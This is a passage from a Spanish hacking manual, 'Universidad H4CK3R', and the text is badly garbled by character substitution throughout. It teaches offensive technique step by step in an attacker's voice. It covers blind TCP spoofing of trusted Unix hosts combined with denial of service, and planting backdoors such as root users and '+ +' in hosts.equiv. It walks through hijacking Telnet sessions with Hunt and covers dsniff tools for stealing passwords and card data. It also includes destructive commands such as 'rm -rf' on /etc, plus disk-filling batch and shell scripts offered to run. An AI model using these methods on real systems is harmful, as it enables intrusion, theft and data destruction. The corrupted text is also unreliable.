ikimilikiliklik Universidad H4CK3R
F -uestro obetivo est, entonces, tra#ado = !ueremos !ue una de las m!uinas 0por
eemplo, 3-6N"-261 4piense4 !ue 4H4es en realidad S2NV/<T3-. .on esto, tenemos un
shell en l-6N"-26, con una direccin 3P disponible, para utili#arla en nuestras maldades
cmodamente all >
Vamos a dar una 4receta de pastel4 para este ata!ue. 2s la meor manera de e5plicar la
teora de cada uno de los pasos. Para mayor claridad en el te5to, llamaremos a cada uno
de los e!uipos slo por sus nombres 04H4en lugar de 4el e!uipo H4 o 4S4en lugar de
4servidor S41.
1. 4H4, inicia varios F de hecho, miles de F cone5iones reales, no simuladas 0es decir, sin
suplantacin de identidad1, a 3-6N"-26. 4H4 enva varios pa!uetes S*- y espera por los
".S de 3-6N"-26. 2n base a estos ".S, 4H4 puede deducir 0o ms bien imaginar1 la
progresin de los n%meros de secuencia 6.P generados por 3-6N"-26. "s, 4H4 puede
tener una idea de los n%meros a utili#ar ms tarde, al conectar con el sistema de
3-6N"-26.
&. (espu$s de eso 0o a la ve#, si el atacante tiene otra m!uina1 lan#a un ata!ue de
denegacin de servicio contra S2NV/<T3-. .on S2NV/<T3- fuera de uego, impedimos
!ue el mismo enve un pa!uete 6.P NS6 y haga caer nuestra cone5in 4imitada4.
9. :tili#ando uno de los comandos CrD, 4H4 inicia una cone5in a 3-6N"-26 usando la 3P
de S2NV/<T3-. 3-6N"-26 responde con un ".S a S2NV/<T3-, !ue est fuera de
combate debido a una denegacin de servicio.
?. "hora, la magia= 4H4 enva un ".S a 3-6N"-26, con la 3P de S2NV/<T3- y una
estimacin del n%mero de secuencia 6.P F calculado por la progresin detectada en el
paso 1 ms el tiempo !ue todo el proceso tom para llegar a!u.
I. 2n caso de acertar al instante 0el hacker slo tiene una oportunidad ...1 /a
comunicacin se establece y se mantiene mientras S2NV/<T3- este cado. Si te
e!uivocas, puedes repetir la receta hasta acertar.
2n algunos sistemas es ridculamente fcil de predecir la secuencia de 6.P, en otros no
tanto, y hay unos pocos lugares donde esta secuencia 081 es casi aleatoria 08G8G881. /a
previsibilidad de ella dir si el sistema es fcilmente hackeable por este m$todo F o no.
Necuerdas esas vieas canciones como 4Zuan amaba a ;ara !ue amaba a Peter ...48
Pues eso. 2n el paso 9, 4H4 inici una cone5in con 3-6N"-26 fingiendo ser
S2NV/<T3- . Para iniciar esta cone5in, utili# un comando CrD 0por eemplo, un rlogin1.
Si el intruso acert la secuencia 6.P, se encuentra con una shell de 3-6N"-26. Slo !ue
3-6N"-26 4piensa4 !ue !uien inici la comunicacin es S2NV/<T3-, y enva las
respuestas a esa m!uina. Nesultado= 4H4 puedes dar rdenes, pero no tiene idea de si
funcionan o no F no hay feedback en la pantalla.
Si esto puede parecer suficiente para hacer da)o 0as como las vulnerabilidades
discutidas previamente, tales como el desbordamiento de pila o .T3s 4amigos41, el hacker
puede utili#ar este shell 0y tambi$n el desbordamiento de la pila, as como los .T3s ...1
para configurar rpidamente una puerta trasera en 3-6N"-26.
243
ikimilikiliklik Universidad H4CK3R
Necuerde !ue S2NV/<T3- est en roo con la denegacin de servicio, pero recuperara el
conocimiento en cual!uier momento y cortara la comunicacin 0con un 6.P NS61 entre
3-6N"-26 y 4H4. 2ntre las cosas !ue el atacante podra hacer en la m!uina de
3-6N"-26 estn=
F 2stablecer la 3P de 4H4 en QetcQ3osts.equivX
F .rear un usuario con derechos de root en QetcQpass$dX
F 3mplementar cual!uier tipo de puerta trasera.
Hay ms opciones !ue estas. " partir de estos cambios, el hacker puede instalar varias
puertas traseras, incluir ms m!uinas en el 3osts.equiv 0o incluso el smbolo CU UD, lo !ue
hace !ue 3-6N"-26 confe en cual!uier persona ...1 y crear otras cuentas en el sistema.
Por supuesto, los administradores atentos notarn inmediatamente los cambios, por lo
!ue es bueno utili#ar esta m!uina para rpidamente 43nvadir4 otras. -o hay !ue olvidar
!ue, por ingenioso !ue sea el procedimiento, herramientas de 3(S, y auditorias de
archivos, pronto descubrirn el e5ploit.
.omo tarea en casa, le sugerimos al lector !ue bus!ue documentos en 3nternet sobre los
siguientes tipos de suplantacin de identidad=
F (-S Spoofing
F Source Nouting
F Pro5y Spoofing
F (aisyFchain Spoofing
Ca7tura de sesiones M;ecuestroN
Necuerdo las lecciones de matemticas de primer grado de primaria 0hoy se llama la
2ducacin +sica, pero es lo mismo ...1. /os problemas matemticos se resolvan
dividiendo la hoa del cuaderno en tres campos= enunciado matemtico, clculo y la
respuesta. 2n el enunciado matemtico, ponamos lo !ue, a)os ms tarde, aprendimos
!ue se conoce como la ecuacin algebraica 0o la desigualdad o frmula1. :n enunciado
matemtico debe ser algo claro y muy detallado, para !ue la persona !ue lea la resolucin
del problema pueda entenderlo de un vista#o. 2n el campo clculos , las cosas eran ms
libres. -osotros podamos llenar totalmente el espacio con notas y clculos, manteniendo,
obviamente, algo de 4limpie#a4, sino la nota era ceroG. 2n la respuesta, se permita poner
slo el resultado de nuestros clculos. 2n nuestros estudios sobre invasiones, podemos
poner en nuestro enunciado matemtico, el siguiente problema= Sniffing U Spoofing b8
Hagamos los clculos, y a continuacin, veamos lo !ue da.
2n las pginas anteriores hemos visto !ue el sniffing es una manera de saber lo !ue est
sucediendo en una red local, aun!ue los datos en trnsito no sean nuestros. Por otro lado,
podemos enviar datos a otros e!uipos fingiendo ser una tercera persona F esto es
suplantacin de identidad. 2s fcil ver !ue combinando estas dos t$cnicas, podemos
4robar4 una sesin entre dos e!uipos. 7.mo !ue robar8, se preguntara el lector. :na
imagen vale ms !ue mil palabras=
244
ikimilikiliklik Universidad H4CK3R
<bserve !ue ", + y H no tienen por !u$ estar en la misma /"-. H puede estar, en efecto,
en la /"- de ", en la de + o en cual!uier subred intermedia. /a malla de routers
mostrada podra ser sustituida por una 4nube4 en representacin de la red como un todo F
incluso poda ser 3nternet. /o importante es !ue H debe estar en alg%n punto por el cual
est$n pasando los pa!uetes entre " y +. /a cone5in entre " y + puede ser cual!uier
cosa, como una llamada H66P o correo electrnico !ue se transmite a trav$s de S;6P.
.apturando una sesin de chat 3.E, por eemplo, podemos seguir hablando con +,
mientras $l cree !ue somos ". .apturando una sesin de M6P, S;+ 0redes ;icrosoft1 o
6elnet entre el usuario " y el servidor +, por eemplo, podemos navegar a trav$s de
servidores sin tener !ue iniciar sesin 0login1 F .omo en ocasiones anteriores, + ahora
piensa !ue somos ". 7Se encendi una 4lucecita4 ah dentro8 Pues eso, hay otras
maneras de acceder a los sistemas ademas de la fuer#a bruta y el desbordamiento de
b%fer ...
2n realidad, por ms !ue los mecanismos de autenticacin sean seguros 0contrase)as de
un solo sentido, encriptacin, firmas digitales, etc.1, Se puede capturar cual!uier
comunicacin (2SP:2S de !ue se haga la autenticacin, y ahorrarse la parte aburrida.
/as empresas por lo general gastan millones en el desarrollo de es!uemas de
autenticacin seguros y se olvidan de !ue una ve# hecho, el sistema S32;PN2 cree !ue
el usuario es el mismo F y como hemos visto, no siempre lo es ...
<tra de las caractersticas de un secuestro de sesin es !ue, es necesario estimar o
predecir la progresin y la previsibilidad de los n%meros de secuencia 6.P. 2l atacante,
parado a mitad de camino entre las dos estaciones, tiene acceso a la evolucin real de los
n%meros de secuencia 6.P, por lo !ue puede controlar3os cuando esta haci$ndose pasar
por otro. 2n nuestro eemplo, H est cuidadosamente registrando todas las
comunicaciones entre " y +, incluyendo las secuencias 6.P.
2n la prctica, los pasos a seguir son los siguientes=
1. H debe observar F con las t$cnicas de sniffing F la comunicacin entre " y + por un
tiempo ra#onable, para determinar el tipo de cone5in, el protocolo en uso 0H66P, SSH,
M6P, 6elnet, ;S-, 3.E ...1 y la secuencia 6.P en ambas direcciones. 6odo esto debe ser
registrado en un archivo y anali#ado. :na ve# !ue la cone5in est bien, 4escarbada4,
decida !ue es interesante para secuestrar3a y determine los medios para hacerlo,
entonces podemos iniciar la captura.
&. H comien#a F con las t$cnicas de suplantacin de identidad 0spoofing1 F a 4enga)ar4 a
+, haci$ndole pensar !ue H es ". /a forma ms com%n es !ue H simplemente cre$ trfico
245
ikimilikiliklik Universidad H4CK3R
entre $l y +, generando pa!uetes cuya direccin 3P de origen sea la de ". + pensara !ue
los pa!uetes vienen de ".
9. (ado !ue + acepta comandos de H pensando !ue son de ", + puede ser controlado
por H. Si fuese una sesin de 6elnet o SSH, H podra operar en el ordenador + con
comandos de shell. Si fuese una sesin de M6P, H podra descargar archivos de + !ue
serian liberados en " F y blo!ueados para los usuarios de M6P annimos. Si fuera una
conversacin de ;S-, H pudiera continuar la conversacin con + fingiendo ser ".
;irando 4por encima4 parece !ue funciona. Pero hay un problema= " todava est vivo y +
le devuelve pa!uetes 6.P con el bit ".S activado cada ve# !ue H inyecta trfico en la
lnea. " intentara resincroni#ar la cone5in y responder a + en la misma medida.
"dems de estos ".Ss espurios generados por los pa!uetes inyectados por H en la
cone5in, a%n !uedan pa!uetes normales de la cone5in entre " y +. 2sto provoca lo !ue
llamamos tormenta ".S o ;1R stor(.
.uando describimos, pginas atrs, una suplantacin de identidad 0spoofing1 basada en
Pni) 8rusts , !uitamos de en medio la ma!uina S2NV/<T3- 0a!uella por la !ue
!ueramos hacernos pasar1 por medio de un ata!ue de denegacin de servicio. 2n
a!uella ocasin, lo hicimos para evitar !ue S2NV/<T3- tirase la cone5in 0!ue despu$s
de todo no fue generada por ella1 con un pa!uete 6.P NS6. 2l asunto a!u es
ligeramente diferente= 4"4 de hecho inici la cone5in entre ella y +. 2l trfico inyectado
por H se aprovecha de eso y la tormenta ".S es un efecto colateral no deseado, en lugar
de ser un procedimiento normal del protocolo 6.P, como en el caso de NS6.
" pesar de ser efectivo, en a!uel caso en particular, no necesitbamos S2NV/<T3-
durante la accin F usar la denegacin de servicio no sie(pre es aconseja%le6
F /a m!uina fuera de uego puede volver en cual!uier momento. -o hay pronstico de
cundo, y seguramente el tiempo !ue estar desactivada ser muy pe!ue)o, lo suficiente
para una o dos rdenes.
F Si el e!uipo !ue sufri la denegacin de servicio se encuentra con alguien, es decir, hay
usuarios en lnea F por eemplo, una estacin de trabao F el ata!ue ser fcilmente
detectado.
F 2n algunos casos, es necesario !ue la computadora por la cual !ueremos hacernos
pasar este 4viva4 F e5isten recursos !ue slo pueden ser desblo!ueados por ella, o
necesitamos !ue el usuario acredite !ue est conectado.
F 2s imprescindible dear fuera de uego la ma!uina debido a los 6.P NS6, !ue anulan la
246
ikimilikiliklik Universidad H4CK3R
cone5in correspondiente. "!u no hay NS6 pues el originador de la cone5in fue F
realmente F " y no H. 4"4 pasa a ser necesaria y no inoportuna.
F /a denegacin de servicio es algo poco elegante F y usted es vanidoso, 7no8
/a respuesta se encuentra en algunas pginas un poco ms atrs. .uando hicimos
sniffing activo, utili#amos la t$cnica de ;72 spoofing 0suplantacin de identidad1 para
confundir al sPitch y a las propias estaciones, poniendo nuestra m!uina en medio de la
cone5in. Para ello, usamos el programa CHuntD en un entorno (an!in!t3e!(iddle. Pues
bien, podemos utili#ar la misma idea para evitar la tormenta ".S. .on todo el trfico
pasando por la m!uina !ue est escuchando a la red, podemos controlar la propagacin
de estas ".Ss falsas.
2n esta configuracin, est claro !ue, como no hay problema de tormenta ".Ss,
podemos eecutar comandos en la m!uina de destino 0+ en el eemplo1. <bviamente,
cuando la cone5in entre H y + se cierra, la diferencia entre los n%meros de secuencia
6.P !ue " enva y !ue + espera es tan grande !ue la sincroni#acin entre " y + es
imposible F y la cone5in entre ellas tambi$n cae. Sin embargo, programas de Hiack
modernos 0como Hunt y (sniff1 poseen instrumentos para resincroni#ar las cone5iones,
as !ue una descone5in fortuita no causar sospechas.
= ;eleccionando sus com&atientes
Por supuesto est la posibilidad de hacerlo todo manualmente. Sin embargo, la forma
ms sencilla es utili#ar las herramientas especialmente concebidas para ello. :na de ellas
es CHuntD, visto en la sesin de sniffing. CHuntD tiene dos opciones interesantes= si(ple
3ijac/ + arpQsi(ple 3ijac/. 2l men% de opciones, ofrece tambi$n algunas posibilidades muy
interesantes, como 4arp spoof Pith my mac4 07recuerdas "NP Spoofing81, Clearn ;".
from 3P traffic e sPitched environmentD 0herramientas para enga)ar a los bridges y los
sPitches1.
2l C(sniffD, otra suite de sniffing mencionada previamente, tambi$n cuenta con
herramientas para capturar sesiones. "dems del propio programa C(sniffD 0especiali#ado
en sniffing1, la suite incluye las siguientes herramientas=
.erra(ientas de sniffing incluidas en >sniff6
F filesnarf= copia en la m!uina del hacker los archivos !ue viaan en una cone5in -MS
0-etPork Mile System1 entre los dos otros e!uipos.
F (ailsnarf6 reproduce en la ma!uina invasora mensaes de eFmail transmitidos por P<P o
S;6P. .on modificaciones en el cdigo del programa, tambi$n puede leer los mensaes
3;"P y ::.P. /os mensaes se almacenan en formato mailbo5 F legibles por casi todos
los programas de email disponibles.
! (sgsnarf6 registra toda conversacin entre dos personas !ue est$n usando servicios de
mensaera instantnea, "</ 3nstant ;essenger, 3.E &''', 3N., ;S- y *ahoo.
! urlsnarf6 olfatea peticiones H66P y las presenta en el formato C.ommon /og MormatD
0./M1.
.erra(ientas de suplantacin de identidad #Spoofing& incluidas en la suite >sniff6
247
ikimilikiliklik Universidad H4CK3R
F arpspoof6 herramienta para ;72 Spoofing.
! dnsspoof6 falsifica respuestas a las peticiones (-S en una /"-. 2s %til para eludir las
reglas de acceso basadas en nombres de host o para implementar varios ata!ues 4manF
inFtheFmiddleD basados en (-S.
! (acof6 una herramienta para <;1 Flooding. 3nunda la /"- con una multitud de
direcciones ;". al a#ar, haciendo !ue bridges y sPitches vulnerables pasen a
comportarse como hubs F es decir, deando pasar todo el trfico de forma indiscriminada
para todos los puertos.
.erra(ientas para la captura + control #secuestro& incluido en la suite >sniff6
! tcp/ill6 tumba la cone5in seleccionada.
! tcpnice6 controla la velocidad de cone5in entre dos nodos sin afectar al resto de red. 2s
interesante para reducir la velocidad de una cone5in y, as, controlar3a 4en vivo4.
! ss3(it(6 act%a como un intermediario 0una especie de pro5y1 para cone5iones SSH.
:na ve# desviada la cone5in 0con herramientas como, por eemplo, dnsspoof1 ss3(it(
puede escuchar el trfico en busca de nombres de usuario y contrase)as, e incluso
secuestrar la sesin. /a porcin del nombre (it( significa 4;an in the middle 4.
! ,e%(it(6 tambi$n act%a como intermediario, esta ve# para las cone5iones de H66PL
H66PS 0s, es compatible con SS/ GGG1. stil para obtener contrase)as de los sitios e
informacin general incluida en los formularios, tales como n%meros de taretas de cr$dito
e informacin 4encriptada4.
"dems de CHuntD y C(sniffD, hay algunas otras herramientas de secuestro de sesiones.
:no, muy conocido, es el CZuggenautD 0PPP.packetstorm.linu5security.comLnePF
e5ploitsL1.&.tar.g#1 <tro muy comentado es el C3PFOatcherD, producto comercial 0de pago1
de -ngarde S+ste(s F 0PPP.engarde.com1. :n detalle= todos ellos son para :ni5. -o hay
buenas opciones para el secuestro de sesiones !ue funcionen en OindoPs u otras
plataformas F en este caso en particular, amigo mio, usted est preso de :ni5. :na
solucin es dar a OindoPs un entorno :ni5 simulado con 1+g$in 0PPP.cygPin.com1 y
eecutar estas herramientas all. Para ello, tambi$n debe instalar las bibliotecas
correspondientes a cada uno de los programas dentro de 1+g$in. <tra forma es dotar a
su P. con OindoPs de una m!uina virtual completa como U<,are 0PPP.vmPare.com1
o 9oc3s, libre y de cdigo abierto 0bochs.sourceforge.net1 y eecutar alg%n :ni5 para P.
0/inu5, Mree+S(, Solaris1 dentro de ella.
= 5l secuestro en la 7rFctica
M0 como me con1ert en un miem&ro de *l=+uedaN
"nteriormente describimos una sesin de sniffing con .unt. /legamos al punto de verificar
los comandos !ue " emita a + y ver las respuestas !ue + enviaba a ". "un!ue nosotros
no estbamos e5actamente en el medio de la conversacin, simplemente husmebamos
el trfico 0yo estaba a!u, pasaban gritando pero yo no !uera escucharlas ...1.
Vamos a rehacerla, esta ve# capturando la sesin. Haremos uso de nuestra red de
prueba y las mismas instalaciones !ue usamos en nuestro e5perimento anterior. 6ambi$n
utili#aremos la misma sesin de 6elnet !ue describimos.
248
ikimilikiliklik Universidad H4CK3R
Necordando rpidamente el procedimiento ya visto, seleccione la opcin 4o4 0opciones1 y
a)ada una 4conn policy4, de acuerdo con las 3Ps de las m!uinas cuyas cone5iones
!ueremos monitori#ar y, posteriormente capturar. Pulse 414 para ver si hay interfaces
4vivas4 !ue cumplan con esta norma 0v$ase el indicador de Hunt1. (espu$s de eso, pulse
454 para volver a la pantalla principal y 414 de nuevo para listar las cone5iones e5istentes
!ue est$n en conformidad con las 4conn policy4 definidas. Seleccione 4P4 0Patch1 para
monitorear una de las cone5iones, y luego elia la cone5in de nuestra sesin de telnet
0recuerde= estamos haciendo un telnet desde la m!uina ,indo$s a la 1oitada1. /ogeate
por 6elnet y emite algunos comandos. Si todo es correcto, todos los datos en ambos
sentidos de la cone5in se harn eco en .unt F !ue se est eecutando en la estacin
Pni). Hasta a!u era lo !ue habamos hecho.
6en en cuenta !ue, si ests en un entorno de red segmentada 0por eemplo, hay un
conmutador en tu /"-1, tienes !ue hacer un ;72 Spoofing para enga)arlo F de lo
contrario, no conseguirs ver las cone5iones !ue estn en el otro segmento. \l mismo
.unt puede hacer eso. Seleccione 4d4 0daemons1 y 4a4 0arp spoof U arp relayer daemon1 y
configure las direcciones 3P de origen y de destino por las !ue desea hacer ;72 Spoofing
0opcin 4a4 F add host to host arp spoot1. 2scriba 4s4 para iniciar el daemon y espere unos
minutos. (ependiendo del trfico de su red y las estaciones en cuestin, pueden pasar de
uno a &' minutos para !ue el sPitch pase a distribuir los pa!uetes de manera
indiscriminada.
.on o sin conmutador, usted est listo para su primer secuestro. Negrese al men%
principal y elia la opcin 4a4 0arpLsimple hiack1. Se le preguntara cul de las cone5iones
desea capturar. Seleccione la cone5in telnet y responda a las preguntas sobre la
cone5in y la presentacin de los datos. /a captura de pantalla es, en principio, similar a
la pantalla de observacin 0Patch1. 2l comportamiento tambi$n es el mismo por ahora=
todo lo !ue el usuario de la ma!uina ,indo$s hiciese, se har eco en .unt antes de ser
enviado a 1oitada, lo mismo ocurrir con la respuesta de 1oitada a ,indo$s. 2sto
suceder indefinidamente hasta !ue el hacker !uiera capturar la cone5in. Para eso,
basta con pulsar .ontrolU.. 2n la pantalla aparecer el mensae=
+ 'ress #ny %eyJ
:na ve# !ue se pulsa cual!uier tecla, en la pantalla de .unt aparece esto=
+ 'ress #ny %eyJ
yo too% over t$e connection
CTRL+R to /re#%
(e ProntoG *a estamos en modo interactivo con la sesin capturada. /a m!uina
OindoPs no tiene ms control sobre la cone5in, todo lo !ue escribi el usuario se hi#o
eco en el .unt, en color verde, pero no se enva a 1oitada. Por otra parte, todo lo !ue el
el Hacker escriba en .unt se enviar a la m!uina 1oitada. .omo es una sesin de
6elnet, introducir los comandos de shell en .unt tendr como resultado su eecucin en
1oitada.
249
ikimilikiliklik Universidad H4CK3R
+ 'ress #ny %eyJ
yo too% over t$e connection
CTRL+R to /re#%
!s
!s #co(andos tecleados por el usuario que perdi la cone)in&
!s
e&it
c#11o5
2n la ma!uina OindoPs se mostrara lo siguiente=
6!s
6!s
6!s
6e&it
6c#11o5
2s decir, el usuario tiene una retroalimentacin de lo !ue ha escrito, y no se mostrar
ning%n mensae de error F simplemente no pasa nadaG 2ste resultado es, realmente,
prestado por .unt. 3ncluye el carcter C^D para dar una impresin de lnea de comandos F
miente y enga)a...
.on el control de 4.oitada4, el hacker puede intentar lo !ue !uiera= colocar una puerta
trasera, borrar todo, descargar archivos y documentos importantes 0incluyendo el archivo
de contrase)as1, usar la m!uina como un trampoln para otro ata!ue 0otra forma de
spoofing...1, intentar ganar acceso sin restricciones, etc, etc, etc. 2s muy importante tener
en cuenta !ue usamos como eemplo el servidor :ni5, pero el procedimiento es el mismo
para cual!uier plataforma. Podramos haber utili#ado .unt tran!uilamente para secuestrar
una sesin entre una estacin OindoPs BA y un servidor OindoPs &''' con 33S y 6elnet
habilitado 0o M3P o H66P o P<P ...1.
.uando se canse de ugar, el atacante presiona C.ontrol U mD para salir. 6ambi$n tendr la
opcin de dear caer la cone5in 0en la m!uina OindoPs el usuario recibe un mensae
falso de Cproblemas en la redD1 o resincroni#arla. .unt es, inteligente en este punto= tiene
registrados los n%meros de secuencias de 6.P procedentes de de la m!uina de
,indo$s y de la m!uina Pni), en la cual esta el programa. (e esta manera, .unt sabe
cuantos pa!uetes OindoPs tiene !ue enviar al 4limbo4 antes de permitir su recone5in a
la m!uina .oitada. Por eemplo, si .unt envi ?I pa!uetes 6.P a 1oitada, cuando la
captura de la sesin se haya completado el mensae
250
ikimilikiliklik Universidad H4CK3R
ms. from rootE 'o)er f#i!re + try to ty'e K; c$#r#cters
aparece en la pantalla de OindoPs. :na ve# !ue el usuario introduce la clave ?Ij, los
n%meros de secuencias 6.P estarn de nuevo en sincrona. /a sesin puede continuar
normalmente F y, en muchos casos, el usuario en cuestin ni si!uiera se da cuenta de lo
!ue ha sucedido. Pero tenga en cuenta que la (a+ora de veces no significa todas, y un
usuario !ue sepa el comportamiento de .unt identificara fcilmente la estafa y avisar a la
autoridad competente.
6area para casa= intenta hacer e5actamente lo mismo con >sniff 0lee la documentacinG1.
(escubrirs !ue, al no ser una herramienta integrada como .unt* sino un conunto
pe!ue)o de herramientas de uso especfico, debes usar varias de ellas para lograr el
mismo efecto. -o obstante, en el ms puro estilo :ni5 de hacer las cosas, tambi$n vera
!ue resulta mucho ms fcil automati#ar el ata!ue con un s3ell script !ue haga uso de
ellas.
= 0tros mBtodos 7ara des1iar el trFfico
Hay muchas otras formas de colocarse en la posicin de (an!in!t3e!(iddle y hacer !ue el
trfico pase por tu e!uipo antes de llegar a su destino. "lgunas de $stas incluyen desviar
el trfico Peb mediante >"S spoofing. Hay herramientas 0como CdnsspoofD, incluido en
>snift1 !ue puede ser programado para enviar respuestas falsas a las consultas (-S.
Por eemplo, la pgina Peb de (igerati se encuentra aloada en el host &''.&?J.1@B.1'&.
2s posible usar dnsspoof para hacer creer a cual!uier internauta !ue, en ve# de eso, el
dominio digerati.com.br esta en &''.&9'.555.yyy. "ll puede !ue haya un sitio Peb falso o
un sniffer !ue registre informaciones pasadas y redireccione el trfico hacia la pgina
real.
<tra forma para desviar el trfico bastante empleada hace uso de C-etcatD F una poderosa
herramienta presente en todos los :ni5 y no en OindoPs. Veremos los diversos usos de
C-etcatD en el pr5imo captulo.
:n %ltimo conseo= hay un documento e5celente en Cpacketstorm.linu5security.comLnePF
e5ploitsLsshFinsertionFattack.t5tD !ue trata sobre la captura de sesiones a trav$s del
protocolo Secure S3ell o SS.. SSH es, ms o menos, un primo de 6elnet cuya cone5in
es cifrada. +ueno, este documento ense)a a 4entrometerse4 en esta cone5in !ue
muchos consideran segura.
= Jo; MJenial of ;er1iceN
-o siempre !ueremos tener acceso a un sistema. " menudo, por vengan#a, terrorismo o
simple vandalismo, slo !ueremos tumbar un sitio, sistema o red y causar el m5imo da)o
posible a la vctima. 2ste procedimiento se denomina denegacin de servicio por!ue el
resultado es, por regla general, la falta de disponibilidad temporal o permanente del
servicio !ue estamos atacando.
<tras veces una denegacin de servicio 0o (oS, como se suele llamar1 es necesario
como parte de un ata!ue mayor, como vimos en nuestros procedimientos de spoofing
descritos en este captulo. (e un modo u otro, un ata!ue de tipo (oS es el cibercrimen
ms torpe !ue uno puede cometer F es como 4desde la ignorancia4, como dice el vieo
251
ikimilikiliklik Universidad H4CK3R
refrn. Sin entrar en detalles acerca de las consecuencias de mercado, polticas y
financieras de un ata!ue (oS e5itoso, podemos considerarlo tan mortal como moralmente
bao, tal como lo es una pelea calleera.
Para entender la denegacin de servicio, imagina cual!uier sistema conectado a 3nternet
!ue se !uiera tumbar, como un servicio 4en el mundo real4_ tienda de flores, pi##era,
polica, defensa civil, etc ... 3magina, por eemplo, !ue !uieres provocar un incendio en un
edificio p%blico y asegurarse de !ue tus planes no sern arruinados por alg%n bombero
con vocacin de h$roe. :na manera de evitar !ue los bomberos entren en accin es
impedir !ue ellos sepan !ue el edificio est en llamas. Para ello, basta con mantener
todas las lneas 11& congestionadas con falsos avisos. "s, las situaciones de emergencia
reales nunca sern atendidas.
2n el mbito telefnico, un buen eemplo de denegacin de servicio puede verse en la
pelcula >ie .ard C 0Zungla de cristal 91= el terrorista interpretado por Zeremy 3rons pone
una bomba en una escuela de la ciudad de -ueva *ork. "dems de no informar a la
polica de en !ue escuela ha instalado el aparato, el bandido divulga la presencia de la
bomba a los medios de comunicacin. Nesultado= toda la poblacin de la ciudad comien#a
a llamar a los n%meros de la polica, congestionando las lneas e impidiendo a la polica
trabaar.
>enegacin de servicio local
Hay varios niveles de denegacin de servicio. /os ms bsicos son causados por
personas con acceso fsico al sistema F en otras palabras, literalmente, 4meter mano4 en
el e!uipo. Pasar con un camin sobre la columna vertebral para tumbar el servicio 0y
librarse de las multas1 tambi$n se puede considerar un tipo de denegacin de servicio.
:n (oS de nivel un poco ms alto 0no en la alcantarilla, pero a%n as mendigando en la
acera1 sera el acceso lgico a los sistemas. /os usuarios con cuentas o atacantes !ue
consiguieron acceso limitado pueden tratar de destruir el sistema con comandos da)inos.
Hay varias maneras de hacer esto.
! 1ancelacin o destruccin= un usuario con una cuenta en un servidor Solaris podra
intentar un "r( !7f _"_ en un directorio sensible F Letc, por eemplo. Si el entorno es
OindoPs, no hay nada ms fcil !ue un FT7<;8 16 o un >-' _._ QS QQ
! PtiliNacin de recursos= incluso usuarios con acceso muy restringido deben poder
eecutar programas en el sistema F 7como van a trabaar sin ellos8 (icho esto, se pueden
crear programas a medida para aumentar en progresin geom$trica el consumo de
recursos de la m!uina F ya sea por m%ltiples accesos al disco, inundando las interfaces
de red con trfico falso, por multiplicacin indefinida de procesos o incluyendo la
grabacin ininterrumpida de datos en archivos hasta llenar todo el espacio disponible.
! 'as vulnera%ilidades locales= un desbordamiento de b%fer si se hace correctamente,
puede llevar a un acceso sin restricciones o a la eecucin de comandos arbitrarios en un
sistema vulnerable. :n ata!ue chapucero, sin embargo, slo puede blo!uear el programa.
Si el programa fuese vital para el sistema 0por eemplo, las partes e5puestas del n%cleo en
un OindoPs -61 u ofreciese un servicio a los usuarios e5ternos 0como KFOindoP o
252
ikimilikiliklik Universidad H4CK3R
Sendmail en :ni5 1, el da)o ser mayor. Si la basura tirada en la pila es realmente grande
en cantidad, es posible !ue todo el sistema se caiga.
! ;cceso sin restricciones6 /os usuarios con acceso privilegiado 0por eemplo, un
administrador de red insatisfecho con su salario1 pueden hacer distintas 4maldades4 como
reconfigurar servicios o matar procesos importantes, adems de plantar caballos de
6roya, bombas de tiempo y varios tipos de virus . Hay varias herramientas en 3nternet !ue
se prestan a ese papel, e incluso scriptFkiddies con un poco ms de CcerebroD pueden
crear herramientas sencillas para hacerlo. 7Euieres un eemplo8 2n una m!uina
OindoPs, cree un archivo ("6<S.+"6 y en su interior, escriba=
N ECHO OFF
ECHO FH#c%erG J 4ATOSB4AT
E
*OLTA
TY,E 4ATOSB4AT JJ SYSTEMB4AT
TY,E SYSTEMB4AT JJ 4ATOSB4AT
TOTO *OLTAE
2ecute el programa ("6<S.+"6 y podrs ver los archivos ("6<S.("6 y S*S62;.("6
crecer indefinidamente. 2n un shell de :ni5 es tan fcil como. Prueba el siguiente script
0lo llamamos datos.sh1=
WC/inCs$
toc$ "#tosB "#t
toc$ systernB"#t
ec$o F$#c%erG JJ "#tosB"#ta
)$i!e Q > Z > Ra
"o
c#t "#tosB"#t JJ systernB"#ta
c#t systernB"#t JJ "#tosB"#ta
"onea
2ecute el pe!ue)o programa 0datos.+at en OindoPs, s& datos.s& en :ni51 a ver !u$
pasa. "parentemente nada, pero si le das un ClsD de :ni5 o el comando CdirD de (<S para
listar los archivos 0en otro shell o en otra ventana de (<S1 vers !ue el tama)o de
("6<S.("6 y S*S62;.("6 crecen de forma e5ponencial a medida !ue pasa el tiempo.
Nodando por un minuto 0J' segundos1 el tama)o ser de apro5imadamente 1'' ;+ cada
uno. (ie# minutos ms y tendra dos archivos de 1 T+ cada uno, en J' minutos 0una
msera hora1 se han ocupado 1& T+. /os programas en (<S y :ni5 muestran un
rendimiento similar cuando se eecutan en el mismo hardPare.
<bserve !ue ninguno de los dos scripts necesito privilegios especiales para la eecutarse=
fueron eecutados directamente en la #ona autori#ada para el usuario y usaron
herramientas y recursos disponibles en el sistema F no es necesario instalar nada. 6enga
en cuenta tambi$n !ue los cuatro asuntos enumerados F cancelacin o destruccin, el
consumo de recursos, las vulnerabilidades locales y los cambios en el acceso sin
restricciones, pueden ser bien implementados en los virus !ue te llegan en lnea por
3nternet y por dis!uetes y .(s infectadosG (e hecho, los virus informticos, desde !ue
surgieron a principios de los A', son un eemplo clsico de negacin de servicio localG
253
ikimilikiliklik Universidad H4CK3R
Pero todo esto es de muy bao nivel. Si un sistema informtico est a merced de obreros
armados con ma#as y picos alguien debe perder su trabao F probablemente el vigilante
de seguridad o el director general ... Sin embargo, hay algunos tipos de ata!ues
or!uestados e5ternamente F en otra parte de la red interna de la empresa o incluso a
trav$s de 3nternet.
>enegacin del servicio re(oto
"dems de el anonimato inherente a los ata!ues remotos, hay una multitud de m$todos y
herramientas !ue permiten !ue un ata!ue remoto tipo (oS sea destructivo. Vamos a
ce)irnos ms a la teora sobre (oS e indicar algunas herramientas para llevar a buen
puerto estos ata!ues. ;as como es, de largo, el m$todo ms popular de ata!ue,
documentado y comentado en 3nternet, dearemos al lector buscar ms informacin al
respecto.
Hay dos 4subtipos4_ de ata!ues (oS remotos. "lgunos de ellos atacan las
vulnerabilidades conocidas en los sistemas obetivo F como los fallos NP. !ue dio lugar a
la cada de nueve de los 19 enrutadores rai# de 3nternet 0todos los de 22.::.1 en octubre
de &''&. 2l otro gran grupo de (oS remoto busca agotar todos los recursos del obetivo,
